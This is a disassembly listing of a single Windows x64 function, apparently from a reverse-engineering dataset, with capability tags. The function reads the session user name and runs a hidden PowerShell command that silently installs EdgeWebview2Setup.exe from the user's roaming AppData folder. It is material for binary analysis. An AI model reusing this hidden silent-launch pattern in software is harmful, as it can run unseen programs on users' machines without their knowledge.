Function at 0x140004e70
Capabilities:
Create process on windows
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor ebx, ebx
mov dword [rbp - 0x78], 0x100
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
movups xmmword [rbp - 0x70], xmm0
test eax, eax
je 0x140004eef
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140004ee0
lea rdx, [rbp + 0x40]
jmp 0x140004efc
mov r8d, 0x18
lea rdx, str.Error_getting_user_name.
lea rcx, [rbp - 0x70]
call fcn.140002f50
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp - 0x60]
sub rax, r15
cmp rax, 0x31
jb 0x1400051eb
lea r13, [rbp - 0x70]
mov rsi, qword [rbp - 0x70]
mov r14, qword [rbp - 0x58]
cmp r14, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r12, [r15 + 0x31]
mov ebx, 0xf
lea rdi, [rsp + 0x50]
cmp r12, rbx
jbe 0x140004fd6
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004f98
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140012658
test rax, rax
je 0x1400051f1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004fd1
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004fc0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400051e5
jmp 0x140004f79
test rcx, rcx
je 0x140004fcf
call fcn.140012658
mov rdi, rax
jmp 0x140004fd1
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [str.powershell.exe__Command__Start_Process_C:Users_]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14003ba80]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14003ba90]
movups xmmword [rdi + 0x20], xmm0
movzx eax, byte [0x14003baa0]
mov byte [rdi + 0x30], al
lea rcx, [rdi + 0x31]
mov r8, r15
mov rdx, r13
call fcn.14002e430
mov byte [rdi + r12], 0
mov r8d, 0x5a
lea rdx, str.AppDataRoamingMicrosoftEdgeWebview2Setup.exe__ArgumentList__silent__install__Wait_
lea rcx, [rsp + 0x50]
call fcn.140009dd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400050a0
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000509b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051f1
call fcn.140012650
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov dword [rbp - 0x30], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005131
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000516c
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005167
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051f7
call fcn.140012650
movdqa xmm0, xmmword [0x14003c510]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], bl
cmp r14, 0xf
jbe 0x1400051af
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400051a7
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051df
mov rcx, rsi
call fcn.140012650
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140012630
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140019a50
nop
call fcn.1400018a0
nop
call fcn.140001940
int3
call fcn.140019a50
int3
call fcn.140019a50
int3